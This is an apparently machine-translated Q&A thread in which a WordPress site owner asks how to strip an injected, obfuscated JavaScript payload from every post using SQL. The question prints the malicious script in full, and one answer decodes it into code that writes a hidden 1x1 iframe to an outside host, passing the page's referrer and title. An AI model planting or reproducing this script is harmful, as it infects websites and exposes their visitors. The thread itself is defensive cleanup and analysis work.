2016-12-14 3 views
2

Некоторого сценария деточка взломала мой WordPress сайт и вставить этот код в каждый POST_CONTENT в wp_posts:Заменить сложную строку в MySQL

<!--844c7b74e31d727d5814a0ed667c0255--><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\'b\');2 6=7.c(7.e()*f);2 0=\'g://h.i/j/k?\';0=0+\'l=\'+3.m;0=0+\'&n=\'+3.o;0=0+\'&r=\'+6;d.p(\'<8 q="s:u;v:w" 0="\'+0+\'" x="\'+4+\'" y="\'+5+\'"></8>\')})();',35,35,'src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height'.split('|'),0,{}))</script> 

Я хочу, чтобы удалить его с помощью SQL запроса (UPDATE хой SET заменить (...)) в phpmyadmin, но мне не повезло с ускорением строки.

Есть ли способ/инструмент, чтобы правильно избежать этого кода и удалить его из таблицы? ТНХ

ответ

0

если данные так же и в начале поста или в конце поста вы можете использовать функцию подстроки выделить данные из этого мусора

update table_name set column_name = SUBSTRING(column_name,garbage_length) where 1; 

для получения дополнительной информации обратитесь к руководству http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_substring

Вы можете использовать функцию позиции, чтобы указать начало мусора. http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_position

+0

Есть несколько вариантов, поэтому это может привести к удалению частей моих сообщений: -/есть ли функция, которая могла бы удалить все после начального номера хэша? что кажется одинаковым во всех строках ... – user1394013

+0

- это начальный номер хэша одинаковый? – reza

+0

да, они одинаковы – user1394013

0

Просто посмотрел на код и, кажется, оценить, чтобы: -

(function() 
    { 
    var d=document; 
    var razmw=1; 
    var razmh=1; 
    var t=d.createElement('script'); 
    var id=Math.floor(Math.random()*9999); 
    var src='http://needalogo.net/rotation/3wBsvV?'; 
    src=src+'se_referrer='+document.referrer; 
    src=src+'&default_keyword='+document.title; 
    src=src+'&r='+id; 
    d.write('<iframe style="padding:0px; 
    border:none" src="'+src+'" width="'+razmw+'" height="'+razmh+'"></iframe>') 
} 
)(); 

, который, как представляется, вставив IFRAME (1px х 1px) с источником вернулся с какой-то веб-страницы (с несколько параметров прошли). URL-адрес заблокирован моим брандмауэром.

Смежные вопросы